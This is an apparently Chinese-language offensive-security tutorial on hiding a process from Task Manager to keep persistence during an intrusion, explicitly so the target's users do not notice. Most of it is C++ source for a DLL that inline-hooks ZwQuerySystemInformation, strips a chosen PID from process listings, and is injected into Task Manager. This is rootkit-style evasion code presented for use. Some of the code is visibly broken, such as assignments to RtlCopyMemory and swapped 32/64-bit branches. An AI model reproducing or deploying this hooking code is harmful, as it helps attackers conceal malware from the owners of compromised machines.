巧用程序隱藏進行許可權維持

基礎知識

程序(Process)是計算機中的程式關於某資料集合上的一次執行活動,是系統進行資源分配和排程的基本單位,是作業系統結構的基礎。在早期面向程序設計的計算機結構中,程序是程式的基本執行實體;在當代面向執行緒設計的計算機結構中,程序是執行緒的容器。程式是指令、資料及其組織形式的描述,程序是程式的實體。

我們在計算機上的每個程式執行起來之後都可以被稱作程序,程序可以在任務管理器裡面看見,如下所示

巧用程序隱藏進行許可權維持

那麼我們在進行滲透的過程中,如果我們運行了一些本沒有執行的程序,我們想要達到不被對方發現的效果,其中一個方法就是實現程序隱藏,讓對方在任務管理器裡面看不到這個程序,當然這裡只針對的是不被小白髮現,專業的人員不在這個討論範圍內。

那麼實現程序隱藏可以透過HOOK api的方式實現,我們知道一般我們要獲取程序快照都是使用

CreateToolHelp32Snapshot

這個api,而這個api在核心層最終會呼叫

ZwQuerySystemInformation

這個api來獲取系統程序資訊,那麼我們就可以直接去hook核心的這個api,因為最終還是呼叫核心的這個api,從而實現程序隱藏

實現過程

那麼這裡需要一些基礎知識,hook api的實現最終還是要歸結到Inline HOOK,透過修改api的前幾個位元組的資料,寫入一個E9(jump)到我們自己的函式中執行

簡單介紹一下Inline hook,API函式都儲存在作業系統提供的DLL檔案中,當在程式中使用某個API函式時,在執行程式後,程式會隱式地將API所在的DLL載入入程序中。這樣,程式就會像呼叫自己的函式一樣呼叫API。

在程序中當EXE模組呼叫CreateFile()函式的時候,會去呼叫kernel32。dll模組中的CreateFile()函式,因為真正的CreateFile()函式的實現在kernel32。dll模組中。

CreateFile()是API函式,API函式也是由人編寫的程式碼再編譯而成的,也有其對應的二進位制程式碼。既然是程式碼,那麼就可以被修改。透過一種“野蠻”的方法來直接修改API函式在記憶體中的映像,從而對API函式進行HOOK。使用的方法是,直接使用匯編指令的jmp指令將其程式碼執行流程改變,進而執行我們的程式碼,這樣就使原來的函式的流程改變了。執行完我們的流程以後,可以選擇性地執行原來的函式,也可以不繼續執行原來的函式。

假設要對某程序的kernel32。dll的CreateFile()函式進行HOOK,首先需要在指定程序中的記憶體中找到CreateFile()函式的地址,然後修改CreateFile()函式的首地址的程式碼為jmp MyProc的指令。這樣,當指定的程序呼叫CreateFile()函式時,就會首先跳轉到我們的函式當中去執行流程,這樣就完成了我們的HOOK了。

那麼既然有了IAThook,我們為什麼還要用Inlinehook呢,直接用IAThook不是更方便嗎?看硬編碼多麻煩。

我們思考一個問題,如果函式不是以

LoadLibrary

方式載入,那麼肯定在匯入表裡就不會出現,那麼IAThook就不能使用了,這就是Inlinehook誕生的條件。

硬編碼

何為硬編碼?

這裡我就不生搬概念性的東西來解釋了,說說我自己的理解。硬編碼可以說就是用十六進位制的字元組成的,他是給cpu讀的語言,我們知道在計算機裡面只有0和1,如果你要讓他去讀c語言的那些字元他是讀不懂的,他只會讀0和1,這就是硬編碼。

硬編碼的結構如下,有定長指令、變長指令等等一系列指令,還跟各種暫存器相關聯起來,確實如果我們去讀硬編碼的話太痛苦了

巧用程序隱藏進行許可權維持

這裡就不過多延伸了,我們在Inline hook裡面只會用到一個硬編碼就是E9,對應的彙編程式碼就是jmp

這裡我就直接透過Inline hook來實現程序隱藏,首先我們要明確思路,首先我們要獲取到

ZwQuerySystemInformation

這個函式的地址,首先看一下這個函式的結構

typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );

那麼我們首先獲取

ntdll。dll

的基址,這裡可以使用

GetModuleHandle

,也可以使用

LoadLibraryA

HMODULE hDll = ::GetModuleHandle(L“ntdll。dll”);

然後使用

GetProcAddress

獲取

ZwQuerySystemInformation

的函式地址

typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”);

獲取到函式地址之後我們就需要進行hook操作,這裡注意一下,在32位中跳轉的語句應該為

jmp New_ZwQuerySystemInformation

,對應的硬編碼就是

E9 xx xx xx xx

,那麼在32位的情況下我們要執行跳轉就需要修改5個位元組的硬編碼,而在64位中跳轉的語句應該為

mov rax, 0x1234567812345678

jmp rax

,對應的硬編碼就是

48 b8 7856341278563412

ff e0

,需要修改12個位元組

在32位的情況下,修改5個位元組

BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };

計算偏移地址,計算公式為新地址 - 舊地址 - 5

DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;

因為我們要覆蓋前5個位元組那麼我們首先把前5個位元組放到其他地方儲存

::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));

64位的情況下同理,只是修改位元組為12個位元組

BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 }; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));

然後修改許可權為可讀可寫可執行許可權,否則會報錯0xC0000005

::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);

修改硬編碼,再還原屬性

::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);

到這裡我們的hook函式就已經完成得差不多了,再寫一個unhook函式,思路大體相同,程式碼如下

void UnHookAPI(){ //獲取ntdll。dll基址​ HMODULE hDll = ::GetModuleHandle(L“ntdll。dll”);​ if (hDll == NULL) { printf(“[!] GetModuleHandle false,error is: %d”, GetLastError()); return; } else { printf(“[*] GetModuleHandle successfully!\n\n”); }​ // 獲取 ZwQuerySystemInformation 函式地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”);​ if (NULL == ZwQuerySystemInformation) { printf(“[!] ZwQuerySystemInformation false,error is: %d”, GetLastError()); return; } else { printf(“[*] ZwQuerySystemInformation successfully!\n\n”); }​ // 修改為可讀可寫可執行許可權 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);​ // 32位下還原5位元組,64位下還原12位元組​#ifdef _WIN64 ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#else ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));#endif // 還原許可權 ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);

當我們執行完hook函式之後,需要跳轉到我們自己的函式,在我們自己的函數里面,在我們自己的函數里面需要判斷是否檢索系統的程序資訊,如果程序資訊存在我們就需要將程序資訊剔除

那麼我們首先將鉤子解除安裝掉,防止多次同時訪問hook函式而造成資料混亂

UnHookAPI();​

然後載入

ntdll。dll

HMODULE hDll = ::LoadLibraryA(“ntdll。dll”);

再獲取

ZwQuerySystemInformation

的基址

typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”);

這裡看一下

ZwQuerySystemInformation

這個函式結構

NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength);

主要要關注的有兩個引數,第一個引數是

SystemInformationClass

,他是用來表示要檢索的系統資訊的型別,再就是返回值,當函式執行成功則返回

NTSTATUS

,否則返回錯誤程式碼,那麼我們首先要判斷訊息型別是否是程序資訊

status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);​if (NT_SUCCESS(status) && 5 == SystemInformationClass)

這裡我們定義一個指標指向返回結果資訊的緩衝區

pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

判斷如果是我們想要隱藏程序的PID則刪除程序資訊

if (HideProcessID == (DWORD)pCur->UniqueProcessId)

刪除完成之後我們再還原hook

HookAPI();​

我們要實現的功能不只是在自己的程序空間內隱藏指定程序,那麼我們就可以把程式碼寫成dll檔案方便注入,完整程式碼如下

// dllmain。cpp : 定義 DLL 應用程式的入口點。#include “pch。h”#include #include ​HMODULE g_hModule;BYTE g_Oldwin32[5] = { 0 };BYTE g_Oldwin64[12] = { 0 };​#pragma data_seg(“mydata”)HHOOK g_hHook = NULL;#pragma data_seg()#pragma comment(linker, “/SECTION:mydata,RWS”)​NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);​void HookAPI();void UnHookAPI();​void HookAPI(){ //獲取ntdll。dll基址​ HMODULE hDll = ::GetModuleHandle(L“ntdll。dll”);​ if (hDll == NULL) { printf(“[!] GetModuleHandle false,error is: %d\n\n”, GetLastError()); return; } else { printf(“[*] GetModuleHandle successfully!\n\n”); }#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#endif // 獲取 ZwQuerySystemInformation 函式地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”);​ if (NULL == ZwQuerySystemInformation) { printf(“[!] ZwQuerySystemInformation false,error is: %d”, GetLastError()); return; } else { printf(“[*] ZwQuerySystemInformation successfully!\n\n”); }​ // 32位則修改前5位元組,64位則修改前12位元組​#ifdef _WIN64 // jmp New_ZwQuerySystemInformation // E9 xx xx xx xx​ BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };​ // 計算偏移地址 , 偏移地址 = 新地址 - 舊地址 - 5 DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));​#else // mov rax, 0x1234567812345678 // jmp rax // 48 b8 7856341278563412 // ff e0​ BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 }; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));​#endif DWORD dwOldProtect = 0;​ //修改為可讀可寫可執行許可權 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));​ //還原許可權 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}​void UnHookAPI(){ //獲取ntdll。dll基址​ HMODULE hDll = ::GetModuleHandle(L“ntdll。dll”);​ if (hDll == NULL) { printf(“[!] GetModuleHandle false,error is: %d”, GetLastError()); return; } else { printf(“[*] GetModuleHandle successfully!\n\n”); }#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#endif​ // 獲取 ZwQuerySystemInformation 函式地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”);​ if (NULL == ZwQuerySystemInformation) { printf(“[!] ZwQuerySystemInformation false,error is: %d”, GetLastError()); return; } else { printf(“[*] ZwQuerySystemInformation successfully!\n\n”); }​ // 修改為可讀可寫可執行許可權 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);​ // 32位下還原5位元組,64位下還原12位元組​#ifdef _WIN64 ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#else ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));#endif​ // 還原許可權 ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);}​NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){ NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL; PSYSTEM_PROCESS_INFORMATION pPrev = NULL;​ // 隱藏程序的PID DWORD HideProcessID = 13972;​ // 解除安裝鉤子 UnHookAPI();​ HMODULE hDll = ::LoadLibraryA(“ntdll。dll”); if (hDll == NULL) { printf(“[!] LoadLibraryA failed,error is : %d\n\n”, GetLastError()); return status; } else { printf(“[*] LoadLibraryA successfully!\n\n”); }​#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#endif​ // 獲取 ZwQuerySystemInformation 函式地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”);​ if (NULL == ZwQuerySystemInformation) { printf(“[!] ZwQuerySystemInformation false,error is: %d”, GetLastError()); return status; } else { printf(“[*] ZwQuerySystemInformation successfully!\n\n”); }​ // 呼叫原函式 ZwQuerySystemInformation status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);​ if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;​ while (TRUE) { // 若為隱藏的程序PID則刪除程序資訊 if (HideProcessID == (DWORD)pCur->UniqueProcessId) { if (pCur->NextEntryOffset == 0) { pPrev->NextEntryOffset = 0; }​ else { pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset; } }​ else { pPrev = pCur; }​ if (pCur->NextEntryOffset == 0) { break; }​ pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset); } }​ HookAPI();​ return status;}​​BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HookAPI(); g_hModule = hModule; break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: UnHookAPI(); break; } return TRUE;}

實現效果

這裡可以透過全域性鉤子注入或者遠端執行緒注入把dll注入到其他程序裡面,那麼如果我們想要在任務管理器裡面看不到某個程序,那麼就需要將dll注入到任務管理器裡面

巧用程序隱藏進行許可權維持

我這裡選擇隱藏的是QQ音樂,這裡執行下程式將dll注入

巧用程序隱藏進行許可權維持

再看下效果,在任務管理器裡面已經看不到QQ音樂這個程序了,程序隱藏成功

巧用程序隱藏進行許可權維持